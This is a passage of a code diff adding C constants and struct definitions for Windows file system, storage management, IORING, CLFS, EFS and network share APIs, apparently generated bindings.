FILE_NOTIFY_CHANGE_ATTRIBUTES 0x4 +#define FILE_NOTIFY_CHANGE_SIZE 0x8 +#define FILE_NOTIFY_CHANGE_LAST_WRITE 0x10 +#define FILE_NOTIFY_CHANGE_LAST_ACCESS 0x20 +#define FILE_NOTIFY_CHANGE_CREATION 0x40 +#define FILE_NOTIFY_CHANGE_SECURITY 0x100 +#define FindStreamInfoStandard 0 +#define FindStreamInfoMaxInfoLevel 1 +#define NTMS_OPREQ_UNKNOWN 0 +#define NTMS_OPREQ_NEWMEDIA 1 +#define NTMS_OPREQ_CLEANER 2 +#define NTMS_OPREQ_DEVICESERVICE 3 +#define NTMS_OPREQ_MOVEMEDIA 4 +#define NTMS_OPREQ_MESSAGE 5 +#define IORING_FEATURE_FLAGS_NONE 0 +#define IORING_FEATURE_UM_EMULATION 1 +#define IORING_FEATURE_SET_COMPLETION_EVENT 2 +#define NTMS_UNKNOWN_DRIVE 0 +#define TXFS_MINIVERSION_COMMITTED_VIEW 0x0 +#define TXFS_MINIVERSION_DIRTY_VIEW 0xffff +#define TXFS_MINIVERSION_DEFAULT_VIEW 0xfffe +#define TAPE_FILEMARKS 0x1 +#define TAPE_LONG_FILEMARKS 0x3 +#define TAPE_SETMARKS 0x0 +#define TAPE_SHORT_FILEMARKS 0x2 +#define FILE_SHARE_NONE 0x0 +#define FILE_SHARE_DELETE 0x4 +#define FILE_SHARE_READ 0x1 +#define FILE_SHARE_WRITE 0x2 +#define FILE_WRITE_FLAGS_NONE 0 +#define FILE_WRITE_FLAGS_WRITE_THROUGH 1 +#define CREATE_BIND_LINK_FLAG_NONE 0 +#define CREATE_BIND_LINK_FLAG_READ_ONLY 1 +#define CREATE_BIND_LINK_FLAG_MERGED 2 +#define ACCESS_READ 0x1 +#define ACCESS_WRITE 0x2 +#define ACCESS_CREATE 0x4 +#define ACCESS_EXEC 0x8 +#define ACCESS_DELETE 0x10 +#define ACCESS_ATRIB 0x20 +#define ACCESS_PERM 0x40 +#define ACCESS_ALL 0x8000 +#define ClfsLogArchiveEnabled 1 +#define ClfsLogArchiveDisabled 2 +#define VFF_CURNEDEST 0x1 +#define VFF_FILEINUSE 0x2 +#define VFF_BUFFTOOSMALL 0x4 +#define VOS_UNKNOWN 0x0 +#define VOS_DOS 0x10000 +#define VOS_OS216 0x20000 +#define VOS_OS232 0x30000 +#define VOS_NT 0x40000 +#define VOS_WINCE 0x50000 +#define VOS__BASE 0x0 +#define VOS__WINDOWS16 0x1 +#define VOS__PM16 0x2 +#define VOS__PM32 0x3 +#define VOS__WINDOWS32 0x4 +#define VOS_DOS_WINDOWS16 0x10001 +#define VOS_DOS_WINDOWS32 0x10004 +#define VOS_OS216_PM16 0x20002 +#define VOS_OS232_PM32 0x30003 +#define VOS_NT_WINDOWS32 0x40004 +#define NTMS_OPREQFLAGS_NOAUTOPURGE 1 +#define NTMS_OPREQFLAGS_NOFAILEDPURGE 2 +#define NTMS_OPREQFLAGS_NOALERTS 16 +#define NTMS_OPREQFLAGS_NOTRAYICON 32 +#define FILE_VER_GET_LOCALISED 0x1 +#define FILE_VER_GET_NEUTRAL 0x2 +#define FILE_VER_GET_PREFETCHED 0x4 +#define ClsContextNone 0 +#define ClsContextUndoNext 1 +#define ClsContextPrevious 2 +#define ClsContextForward 3 +#define NTMS_BARCODESTATE_OK 1 +#define NTMS_BARCODESTATE_UNREADABLE 2 +#define REPLACEFILE_WRITE_THROUGH 0x1 +#define REPLACEFILE_IGNORE_MERGE_ERRORS 0x2 +#define REPLACEFILE_IGNORE_ACL_ERRORS 0x4 +#define IORING_VERSION_INVALID 0 +#define IORING_VERSION_1 1 +#define IORING_VERSION_2 2 +#define IORING_VERSION_3 300 +#define IORING_VERSION_4 400 +#define FILE_DEVICE_CD_ROM 0x2 +#define FILE_DEVICE_DISK 0x7 +#define FILE_DEVICE_TAPE 0x1f +#define FILE_DEVICE_DVD 0x33 +#define LOCKFILE_EXCLUSIVE_LOCK 0x2 +#define LOCKFILE_FAIL_IMMEDIATELY 0x1 +#define PROGRESS_CONTINUE 0x0 +#define PROGRESS_CANCEL 0x1 +#define PROGRESS_STOP 0x2 +#define PROGRESS_QUIET 0x3 +#define NTMS_EJECT_START 0 +#define NTMS_EJECT_STOP 1 +#define NTMS_EJECT_QUEUE 2 +#define NTMS_EJECT_FORCE 3 +#define NTMS_EJECT_IMMEDIATE 4 +#define NTMS_EJECT_ASK_USER 5 +#define FindExInfoStandard 0 +#define FindExInfoBasic 1 +#define FindExInfoMaxInfoLevel 2 +#define BACKUP_ALTERNATE_DATA 0x4 +#define BACKUP_DATA 0x1 +#define BACKUP_EA_DATA 0x2 +#define BACKUP_LINK 0x5 +#define BACKUP_OBJECT_ID 0x7 +#define BACKUP_PROPERTY_DATA 0x6 +#define BACKUP_REPARSE_DATA 0x8 +#define BACKUP_SECURITY_DATA 0x3 +#define BACKUP_SPARSE_BLOCK 0x9 +#define BACKUP_TXFS_DATA 0xa +#define IORING_REF_RAW 0 +#define IORING_REF_REGISTERED 1 +#define NTMS_MEDIASTATE_IDLE 0 +#define NTMS_MEDIASTATE_INUSE 1 +#define NTMS_MEDIASTATE_MOUNTED 2 +#define NTMS_MEDIASTATE_LOADED 3 +#define NTMS_MEDIASTATE_UNLOADED 4 +#define NTMS_MEDIASTATE_OPERROR 5 +#define NTMS_MEDIASTATE_OPREQ 6 +#define SESS_GUEST 0x1 +#define SESS_NOENCRYPTION 0x2 +#define NTMS_ALLOCATE_NEW 1 +#define NTMS_ALLOCATE_NEXT 2 +#define NTMS_ALLOCATE_ERROR_IF_UNAVAILABLE 4 +#define NTMS_LIBREQFLAGS_NOAUTOPURGE 1 +#define NTMS_LIBREQFLAGS_NOFAILEDPURGE 2 +#define NTMS_MEDIARW_UNKNOWN 0 +#define NTMS_MEDIARW_REWRITABLE 1 +#define NTMS_MEDIARW_WRITEONCE 2 +#define NTMS_MEDIARW_READONLY 3 +#define DIRECTORY_FLAGS_NONE 0 +#define DIRECTORY_FLAGS_DISALLOW_PATH_REDIRECTS 1 +#define COMPRESSION_FORMAT_NONE 0x0 +#define COMPRESSION_FORMAT_DEFAULT 0x1 +#define COMPRESSION_FORMAT_LZNT1 0x2 +#define COMPRESSION_FORMAT_XPRESS 0x3 +#define COMPRESSION_FORMAT_XPRESS_HUFF 0x4 +#define COMPRESSION_FORMAT_XP10 0x5 +#define COMPRESSION_FORMAT_LZ4 0x6 +#define COMPRESSION_FORMAT_DEFLATE 0x7 +#define COMPRESSION_FORMAT_ZLIB 0x8 + +typedef struct _VOLUME_ALLOCATE_BC_STREAM_INPUT { + unsigned int Version; + unsigned int RequestsPerPeriod; + unsigned int Period; + BOOL RetryFailures; + BOOL Discardable; + BOOL Reserved1[2]; + unsigned long long LowestByteOffset; + unsigned long long HighestByteOffset; + unsigned int AccessType; + unsigned int AccessMode; +} VOLUME_ALLOCATE_BC_STREAM_INPUT; + +typedef struct _TXF_LOG_RECORD_BASE { + unsigned short Version; + void* RecordType; + unsigned int RecordLength; +} TXF_LOG_RECORD_BASE; + +typedef struct _SHARE_INFO_1501 { + unsigned int shi1501_reserved; + void* shi1501_security_descriptor; +} SHARE_INFO_1501; + +typedef struct _STAT_WORKSTATION_0 { + long long StatisticsStartTime; + long long BytesReceived; + long long SmbsReceived; + long long PagingReadBytesRequested; + long long NonPagingReadBytesRequested; + long long CacheReadBytesRequested; + long long NetworkReadBytesRequested; + long long BytesTransmitted; + long long SmbsTransmitted; + long long PagingWriteBytesRequested; + long long NonPagingWriteBytesRequested; + long long CacheWriteBytesRequested; + long long NetworkWriteBytesRequested; + unsigned int InitiallyFailedOperations; + unsigned int FailedCompletionOperations; + unsigned int ReadOperations; + unsigned int RandomReadOperations; + unsigned int ReadSmbs; + unsigned int LargeReadSmbs; + unsigned int SmallReadSmbs; + unsigned int WriteOperations; + unsigned int RandomWriteOperations; + unsigned int WriteSmbs; + unsigned int LargeWriteSmbs; + unsigned int SmallWriteSmbs; + unsigned int RawReadsDenied; + unsigned int RawWritesDenied; + unsigned int NetworkErrors; + unsigned int Sessions; + unsigned int FailedSessions; + unsigned int Reconnects; + unsigned int CoreConnects; + unsigned int Lanman20Connects; + unsigned int Lanman21Connects; + unsigned int LanmanNtConnects; + unsigned int ServerDisconnects; + unsigned int HungSessions; + unsigned int UseCount; + unsigned int FailedUseCount; + unsigned int CurrentCommands; +} STAT_WORKSTATION_0; + +typedef struct _FILE_ALLOCATION_INFO { + long long AllocationSize; +} FILE_ALLOCATION_INFO; + +typedef struct _FILE_END_OF_FILE_INFO { + long long EndOfFile; +} FILE_END_OF_FILE_INFO; + +typedef struct _FILE_REMOTE_PROTOCOL_INFO { + unsigned short StructureVersion; + unsigned short StructureSize; + unsigned int Protocol; + unsigned short ProtocolMajorVersion; + unsigned short ProtocolMinorVersion; + unsigned short ProtocolRevision; + unsigned short Reserved; + unsigned int Flags; + void* GenericReserved; + void* ProtocolSpecific; +} FILE_REMOTE_PROTOCOL_INFO; + +typedef struct _NTMS_OBJECTINFORMATIONW { + unsigned int dwSize; + unsigned int dwType; + void* Created; + void* Modified; + void* ObjectGuid; + BOOL Enabled; + unsigned int dwOperationalState; + unsigned short szName[64]; + unsigned short szDescription[127]; + void* Info; +} NTMS_OBJECTINFORMATIONW; + +typedef struct _HIORING { + void* Value; +} HIORING; + +typedef struct _VOLUME_READ_PLEX_INPUT { + long long ByteOffset; + unsigned int Length; + unsigned int PlexNumber; +} VOLUME_READ_PLEX_INPUT; + +typedef struct _EFS_KEY_INFO { + unsigned int dwVersion; + unsigned int Entropy; + void* Algorithm; + unsigned int KeyLength; +} EFS_KEY_INFO; + +typedef struct _VOLUME_ALLOCATION_HINT_INPUT { + unsigned int ClusterSize; + unsigned int NumberOfClusters; + long long StartingClusterNumber; +} VOLUME_ALLOCATION_HINT_INPUT; + +typedef struct _SHARE_INFO_1006 { + unsigned int shi1006_max_uses; +} SHARE_INFO_1006; + +typedef struct _VOLUME_SET_GPT_ATTRIBUTES_INFORMATION { + unsigned long long GptAttributes; + BOOL RevertOnClose; + BOOL ApplyToAllConnectedVolumes; + unsigned short Reserved1; + unsigned int Reserved2; +} VOLUME_SET_GPT_ATTRIBUTES_INFORMATION; + +typedef struct _IORING_HANDLE_REF { + void* Kind; + void* Handle; +} IORING_HANDLE_REF; + +typedef struct _TRANSACTION_NOTIFICATION_SAVEPOINT_ARGUMENT { + unsigned int SavepointId; +} TRANSACTION_NOTIFICATION_SAVEPOINT_ARGUMENT; + +typedef struct _EFS_ENCRYPTION_STATUS_INFO { + BOOL bHasCurrentKey; + unsigned int dwEncryptionError; +} EFS_ENCRYPTION_STATUS_INFO; + +typedef struct _NTMS_IEPORTINFORMATION { + unsigned int Number; + unsigned int Content; + unsigned int Position; + unsigned short MaxExtendSecs; + void* Library; +} NTMS_IEPORTINFORMATION; + +typedef struct _CLFS_MGMT_NOTIFICATION { + void* Notification; + void* Lsn; + unsigned short LogIsPinned; +} CLFS_MGMT_NOTIFICATION; + +typedef struct _ENCRYPTION_CERTIFICATE_LIST { + unsigned int nUsers; + void* pUsers; +} ENCRYPTION_CERTIFICATE_LIST; + +typedef struct _SESSION_INFO_502 { + void* sesi502_cname; + void* sesi502_username; + unsigned int sesi502_num_opens; + unsigned int sesi502_time; + unsigned int sesi502_idle_time; + void* sesi502_user_flags; + void* sesi502_cltype_name; + void* sesi502_transport; +} SESSION_INFO_502; + +typedef struct _SHARE_INFO_1005 { + unsigned int shi1005_flags; +} SHARE_INFO_1005; + +typedef struct _CONNECTION_INFO_0 { + unsigned int coni0_id; +} CONNECTION_INFO_0; + +typedef struct _FILE_ID_DESCRIPTOR { + unsigned int dwSize; + void* Type; + void* Anonymous; +} FILE_ID_DESCRIPTOR; + +typedef struct _FILE_FULL_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + unsigned short FileName[1]; +} FILE_FULL_DIR_INFO; + +typedef struct _EFS_RPC_BLOB { + unsigned int cbData; + void* pbData; +} EFS_RPC_BLOB; + +typedef struct _NTMS_CHANGERTYPEINFORMATIONW { + unsigned short szVendor[128]; + unsigned short szProduct[128]; + unsigned int DeviceType; +} NTMS_CHANGERTYPEINFORMATIONW; + +typedef struct _SHARE_INFO_502 { + void* shi502_netname; + void* shi502_type; + void* shi502_remark; + void* shi502_permissions; + unsigned int shi502_max_uses; + unsigned int shi502_current_uses; + void* shi502_path; + void* shi502_passwd; + unsigned int shi502_reserved; + void* shi502_security_descriptor; +} SHARE_INFO_502; + +typedef struct _NTMS_PARTITIONINFORMATIONA { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned char szOmidLabelType[64]; + unsigned char szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; + long long Capacity; +} NTMS_PARTITIONINFORMATIONA; + +typedef struct _SESSION_INFO_0 { + void* sesi0_cname; +} SESSION_INFO_0; + +typedef struct _CREATEFILE3_EXTENDED_PARAMETERS { + unsigned int dwSize; + unsigned int dwFileAttributes; + unsigned int dwFileFlags; + unsigned int dwSecurityQosFlags; + void* lpSecurityAttributes; + void* hTemplateFile; +} CREATEFILE3_EXTENDED_PARAMETERS; + +typedef struct _SHARE_INFO_501 { + void* shi501_netname; + void* shi501_type; + void* shi501_remark; + unsigned int shi501_flags; +} SHARE_INFO_501; + +typedef struct _VOLUME_SHRINK_INFO { + unsigned long long VolumeSize; +} VOLUME_SHRINK_INFO; + +typedef struct _WOF_FILE_COMPRESSION_INFO_V1 { + unsigned int Algorithm; + unsigned int Flags; +} WOF_FILE_COMPRESSION_INFO_V1; + +typedef struct _NAME_CACHE_CONTEXT { + unsigned int m_dwSignature; +} NAME_CACHE_CONTEXT; + +typedef struct _FILE_ID_EXTD_DIR_INFO { + unsigned int NextEntryOffset; + unsigned int FileIndex; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long EndOfFile; + long long AllocationSize; + unsigned int FileAttributes; + unsigned int FileNameLength; + unsigned int EaSize; + unsigned int ReparsePointTag; + void* FileId; + unsigned short FileName[1]; +} FILE_ID_EXTD_DIR_INFO; + +typedef struct _NTMS_IEDOORINFORMATION { + unsigned int Number; + unsigned int State; + unsigned short MaxOpenSecs; + void* Library; +} NTMS_IEDOORINFORMATION; + +typedef struct _NTMS_I1_LIBRARYINFORMATION { + unsigned int LibraryType; + void* CleanerSlot; + void* CleanerSlotDefault; + BOOL LibrarySupportsDriveCleaning; + BOOL BarCodeReaderInstalled; + unsigned int InventoryMethod; + unsigned int dwCleanerUsesRemaining; + unsigned int FirstDriveNumber; + unsigned int dwNumberOfDrives; + unsigned int FirstSlotNumber; + unsigned int dwNumberOfSlots; + unsigned int FirstDoorNumber; + unsigned int dwNumberOfDoors; + unsigned int FirstPortNumber; + unsigned int dwNumberOfPorts; + unsigned int FirstChangerNumber; + unsigned int dwNumberOfChangers; + unsigned int dwNumberOfMedia; + unsigned int dwNumberOfMediaTypes; + unsigned int dwNumberOfLibRequests; + void* Reserved; +} NTMS_I1_LIBRARYINFORMATION; + +typedef struct _TAPE_PREPARE { + void* Operation; + BOOL Immediate; +} TAPE_PREPARE; + +typedef struct _SHARE_INFO_1503 { + void* shi1503_sharefilter; +} SHARE_INFO_1503; + +typedef struct _IORING_CAPABILITIES { + void* MaxVersion; + unsigned int MaxSubmissionQueueSize; + unsigned int MaxCompletionQueueSize; + void* FeatureFlags; +} IORING_CAPABILITIES; + +typedef struct _VS_FIXEDFILEINFO { + unsigned int dwSignature; + unsigned int dwStrucVersion; + unsigned int dwFileVersionMS; + unsigned int dwFileVersionLS; + unsigned int dwProductVersionMS; + unsigned int dwProductVersionLS; + unsigned int dwFileFlagsMask; + void* dwFileFlags; + void* dwFileOS; + unsigned int dwFileType; + unsigned int dwFileSubtype; + unsigned int dwFileDateMS; + unsigned int dwFileDateLS; +} VS_FIXEDFILEINFO; + +typedef struct _NTMS_MEDIATYPEINFORMATION { + unsigned int MediaType; + unsigned int NumberOfSides; + unsigned int ReadWriteCharacteristics; + void* DeviceType; +} NTMS_MEDIATYPEINFORMATION; + +typedef struct _VOLUME_PHYSICAL_OFFSET { + unsigned int DiskNumber; + long long Offset; +} VOLUME_PHYSICAL_OFFSET; + +typedef struct _FILE_ID_128 { + unsigned char Identifier[16]; +} FILE_ID_128; + +typedef struct _NTMS_LMIDINFORMATION { + void* MediaPool; + unsigned int dwNumberOfPartitions; +} NTMS_LMIDINFORMATION; + +typedef struct _FILE_DISPOSITION_INFO { + BOOL DeleteFile; +} FILE_DISPOSITION_INFO; + +typedef struct _NTMS_CHANGERINFORMATIONA { + unsigned int Number; + void* ChangerType; + unsigned char szSerialNumber[32]; + unsigned char szRevision[32]; + unsigned char szDeviceName[64]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + void* Library; +} NTMS_CHANGERINFORMATIONA; + +typedef struct _TRANSACTION_NOTIFICATION_MARSHAL_ARGUMENT { + unsigned int MarshalCookie; + void* UOW; +} TRANSACTION_NOTIFICATION_MARSHAL_ARGUMENT; + +typedef struct _NTMS_CHANGERINFORMATIONW { + unsigned int Number; + void* ChangerType; + unsigned short szSerialNumber[32]; + unsigned short szRevision[32]; + unsigned short szDeviceName[64]; + unsigned short ScsiPort; + unsigned short ScsiBus; + unsigned short ScsiTarget; + unsigned short ScsiLun; + void* Library; +} NTMS_CHANGERINFORMATIONW; + +typedef struct _DISKQUOTA_USER_INFORMATION { + long long QuotaUsed; + long long QuotaThreshold; + long long QuotaLimit; +} DISKQUOTA_USER_INFORMATION; + +typedef struct _NTMS_FILESYSTEM_INFO { + unsigned short FileSystemType[64]; + unsigned short VolumeName[256]; + unsigned int SerialNumber; +} NTMS_FILESYSTEM_INFO; + +typedef struct _SHARE_INFO_503 { + void* shi503_netname; + void* shi503_type; + void* shi503_remark; + void* shi503_permissions; + unsigned int shi503_max_uses; + unsigned int shi503_current_uses; + void* shi503_path; + void* shi503_passwd; + void* shi503_servername; + unsigned int shi503_reserved; + void* shi503_security_descriptor; +} SHARE_INFO_503; + +typedef struct _FILE_INFO_3 { + unsigned int fi3_id; + void* fi3_permissions; + unsigned int fi3_num_locks; + void* fi3_pathname; + void* fi3_username; +} FILE_INFO_3; + +typedef struct _OFSTRUCT { + unsigned char cBytes; + unsigned char fFixedDisk; + unsigned short nErrCode; + unsigned short Reserved1; + unsigned short Reserved2; + unsigned char szPathName[128]; +} OFSTRUCT; + +typedef struct _COPYFILE2_MESSAGE { + void* Type; + unsigned int dwPadding; + void* Info; +} COPYFILE2_MESSAGE; + +typedef struct _FILE_STREAM_INFO { + unsigned int NextEntryOffset; + unsigned int StreamNameLength; + long long StreamSize; + long long StreamAllocationSize; + unsigned short StreamName[1]; +} FILE_STREAM_INFO; + +typedef struct _FILE_COMPRESSION_INFO { + long long CompressedFileSize; + void* CompressionFormat; + unsigned char CompressionUnitShift; + unsigned char ChunkShift; + unsigned char ClusterShift; + unsigned char Reserved[3]; +} FILE_COMPRESSION_INFO; + +typedef struct _EFS_COMPATIBILITY_INFO { + unsigned int EfsVersion; +} EFS_COMPATIBILITY_INFO; + +typedef struct _FH_OVERLAPPED { + unsigned long long Internal; + unsigned long long InternalHigh; + unsigned int Offset; + unsigned int OffsetHigh; + void* hEvent; + void* pfnCompletion; + unsigned long long Reserved1; + unsigned long long Reserved2; + unsigned long long Reserved3; + unsigned long long Reserved4; +} FH_OVERLAPPED; + +typedef struct _SHARE_INFO_0 { + void* shi0_netname; +} SHARE_INFO_0; + +typedef struct _TAPE_GET_POSITION { + void* Type; + unsigned int Partition; + long long Offset; +} TAPE_GET_POSITION; + +typedef struct _CLFS_MGMT_POLICY { + unsigned int Version; + unsigned int LengthInBytes; + unsigned int PolicyFlags; + void* PolicyType; + void* PolicyParameters; +} CLFS_MGMT_POLICY; + +typedef struct _COPYFILE2_EXTENDED_PARAMETERS { + unsigned int dwSize; + void* dwCopyFlags; + void* pfCancel; + void* pProgressRoutine; + void* pvCallbackContext; +} COPYFILE2_EXTENDED_PARAMETERS; + +typedef struct _NTMS_I1_PARTITIONINFORMATIONA { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned char szOmidLabelType[64]; + unsigned char szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; +} NTMS_I1_PARTITIONINFORMATIONA; + +typedef struct _KCRM_TRANSACTION_BLOB { + void* UOW; + void* TmIdentity; + unsigned int IsolationLevel; + unsigned int IsolationFlags; + unsigned int Timeout; + unsigned short Description[64]; +} KCRM_TRANSACTION_BLOB; + +typedef struct _ENCRYPTION_PROTECTOR_LIST { + unsigned int nProtectors; + void* pProtectors; +} ENCRYPTION_PROTECTOR_LIST; + +typedef struct _IORING_CQE { + unsigned long long UserData; + int ResultCode; + unsigned long long Information; +} IORING_CQE; + +typedef struct _CLFS_LOG_NAME_INFORMATION { + unsigned short NameLengthInBytes; + unsigned short Name[1]; +} CLFS_LOG_NAME_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFO { + unsigned int AlignmentRequirement; +} FILE_ALIGNMENT_INFO; + +typedef struct _NTMS_I1_OPREQUESTINFORMATIONW { + unsigned int Request; + void* Submitted; + unsigned int State; + unsigned short szMessage[127]; + unsigned int Arg1Type; + void* Arg1; + unsigned int Arg2Type; + void* Arg2; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; +} NTMS_I1_OPREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_PMIDINFORMATIONA { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned char szBarCode[64]; + unsigned int BarCodeState; + unsigned char szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; +} NTMS_I1_PMIDINFORMATIONA; + +typedef struct _LOG_MANAGEMENT_CALLBACKS { + void* CallbackContext; + void* AdvanceTailCallback; + void* LogFullHandlerCallback; + void* LogUnpinnedCallback; +} LOG_MANAGEMENT_CALLBACKS; + +typedef struct _VOLUME_PHYSICAL_OFFSETS { + unsigned int NumberOfPhysicalOffsets; + void* PhysicalOffset[1]; +} VOLUME_PHYSICAL_OFFSETS; + +typedef struct _CLS_LSN { + unsigned long long Internal; +} CLS_LSN; + +typedef struct _FILE_INFO_2 { + unsigned int fi2_id; +} FILE_INFO_2; + +typedef struct _FILE_SEGMENT_ELEMENT { + void* Buffer; + unsigned long long Alignment; +} FILE_SEGMENT_ELEMENT; + +typedef struct _REPARSE_GUID_DATA_BUFFER { + unsigned int ReparseTag; + unsigned short ReparseDataLength; + unsigned short Reserved; + void* ReparseGuid; + void* GenericReparseBuffer; +} REPARSE_GUID_DATA_BUFFER; + +typedef struct _TAPE_WRITE_MARKS { + void* Type; + unsigned int Count; + BOOL Immediate; +} TAPE_WRITE_MARKS; + +typedef struct _CLS_SCAN_CONTEXT { + void* cidNode; + void* hLog; + unsigned int cIndex; + unsigned int cContainers; + unsigned int cContainersReturned; + unsigned char eScanMode; + void* pinfoContainer; +} CLS_SCAN_CONTEXT; + +typedef struct _IORING_INFO { + void* IoRingVersion; + void* Flags; + unsigned int SubmissionQueueSize; + unsigned int CompletionQueueSize; +} IORING_INFO; + +typedef struct _VOLUME_NUMBER { + unsigned int VolumeNumber; + unsigned short VolumeManagerName[8]; +} VOLUME_NUMBER; + +typedef struct _WIN32_STREAM_ID { + void* dwStreamId; + unsigned int dwStreamAttributes; + long long Size; + unsigned int dwStreamNameSize; + unsigned short cStreamName[1]; +} WIN32_STREAM_ID; + +typedef struct _NTMS_I1_PARTITIONINFORMATIONW { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned short szOmidLabelType[64]; + unsigned short szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; +} NTMS_I1_PARTITIONINFORMATIONW; + +typedef struct _VOLUME_FAILOVER_SET { + unsigned int NumberOfDisks; + unsigned int DiskNumbers[1]; +} VOLUME_FAILOVER_SET; + +typedef struct _SESSION_INFO_1 { + void* sesi1_cname; + void* sesi1_username; + unsigned int sesi1_num_opens; + unsigned int sesi1_time; + unsigned int sesi1_idle_time; + void* sesi1_user_flags; +} SESSION_INFO_1; + +typedef struct _NTMS_LIBREQUESTINFORMATIONW { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned short szApplication[64]; + unsigned short szUser[64]; + unsigned short szComputer[64]; + unsigned int dwErrorCode; + void* WorkItemId; + unsigned int dwPriority; +} NTMS_LIBREQUESTINFORMATIONW; + +typedef struct _NTMS_I1_LIBREQUESTINFORMATIONA { + unsigned int OperationCode; + unsigned int OperationOption; + unsigned int State; + void* PartitionId; + void* DriveId; + void* PhysMediaId; + void* Library; + void* SlotId; + void* TimeQueued; + void* TimeCompleted; + unsigned char szApplication[64]; + unsigned char szUser[64]; + unsigned char szComputer[64]; +} NTMS_I1_LIBREQUESTINFORMATIONA; + +typedef struct _TXF_ID { + void* Anonymous; +} TXF_ID; + +typedef struct _NTMS_PARTITIONINFORMATIONW { + void* PhysicalMedia; + void* LogicalMedia; + unsigned int State; + unsigned short Side; + unsigned int dwOmidLabelIdLength; + unsigned char OmidLabelId[255]; + unsigned short szOmidLabelType[64]; + unsigned short szOmidLabelInfo[256]; + unsigned int dwMountCount; + unsigned int dwAllocateCount; + long long Capacity; +} NTMS_PARTITIONINFORMATIONW; + +typedef struct _SHARE_INFO_1 { + void* shi1_netname; + void* shi1_type; + void* shi1_remark; +} SHARE_INFO_1; + +typedef struct _TXF_LOG_RECORD_WRITE { + unsigned short Version; + unsigned short RecordType; + unsigned int RecordLength; + unsigned int Flags; + void* TxfFileId; + void* KtmGuid; + long long ByteOffsetInFile; + unsigned int NumBytesWritten; + unsigned int ByteOffsetInStructure; + unsigned int FileNameLength; + unsigned int FileNameByteOffsetInStructure; +} TXF_LOG_RECORD_WRITE; + +typedef struct _FILE_NOTIFY_INFORMATION { + unsigned int NextEntryOffset; + void* Action; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_NOTIFY_INFORMATION; + +typedef struct _EFS_VERSION_INFO { + unsigned int EfsVersion; + unsigned int SubVersion; +} EFS_VERSION_INFO; + +typedef struct _EFS_CERTIFICATE_BLOB { + unsigned int dwCertEncodingType; + unsigned int cbData; + void* pbData; +} EFS_CERTIFICATE_BLOB; + +typedef struct _COPYFILE2_CREATE_OPLOCK_KEYS { + void* ParentOplockKey; + void* TargetOplockKey; +} COPYFILE2_CREATE_OPLOCK_KEYS; + +typedef struct _FILE_CASE_SENSITIVE_INFO { + unsigned int Flags; +} FILE_CASE_SENSITIVE_INFO; + +typedef struct _FILE_ATTRIBUTE_TAG_INFO { + unsigned int FileAttributes; + unsigned int ReparseTag; +} FILE_ATTRIBUTE_TAG_INFO; + +typedef struct _TRANSACTION_NOTIFICATION { + void* TransactionKey; + unsigned int TransactionNotification; + long long TmVirtualClock; + unsigned int ArgumentLength; +} TRANSACTION_NOTIFICATION; + +typedef struct _NTMS_PMIDINFORMATIONW { + void* CurrentLibrary; + void* MediaPool; + void* Location; + unsigned int LocationType; + void* MediaType; + void* HomeSlot; + unsigned short szBarCode[64]; + unsigned int BarCodeState; + unsigned short szSequenceNumber[32]; + unsigned int MediaState; + unsigned int dwNumberOfPartitions; + unsigned int dwMediaTypeCode; + unsigned int dwDensityCode; + void* MountedPartition; +} NTMS_PMIDINFORMATIONW; + +typedef struct _FILE_RENAME_INFO { + void* Anonymous; + void* RootDirectory; + unsigned int FileNameLength; + unsigned short FileName[1]; +} FILE_RENAME_INFO; + +typedef struct _BY_HANDLE_FILE_INFORMATION { + unsigned int dwFileAttributes; + void* ftCreationTime; + void* ftLastAccessTime; + void* ftLastWriteTime; + unsigned int dwVolumeSerialNumber; + unsigned int nFileSizeHigh; + unsigned int nFileSizeLow; + unsigned int nNumberOfLinks; + unsigned int nFileIndexHigh; + unsigned int nFileIndexLow; +} BY_HANDLE_FILE_INFORMATION; + +typedef struct _WIN32_FIND_STREAM_DATA { + long long StreamSize; + unsigned short cStreamName[296]; +} WIN32_FIND_STREAM_DATA; + +typedef struct _NTMS_MEDIAPOOLINFORMATION { + unsigned int PoolType; + void* MediaType; + void* Parent; + unsigned int AllocationPolicy; + unsigned int DeallocationPolicy; + unsigned int dwMaxAllocates; + unsigned int dwNumberOfPhysicalMedia; + unsigned int dwNumberOfLogicalMedia; + unsigned int dwNumberOfMediaPools; +} NTMS_MEDIAPOOLINFORMATION; + +typedef struct _FILE_EXTENT { + unsigned long long VolumeOffset; + unsigned long long ExtentLength; +} FILE_EXTENT; + +typedef struct _IORING_CREATE_FLAGS { + void* Required; + void* Advisory; +} IORING_CREATE_FLAGS; + +typedef struct _FILE_STAT_BASIC_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int DeviceType; + unsigned int DeviceCharacteristics; + unsigned int Reserved; + long long 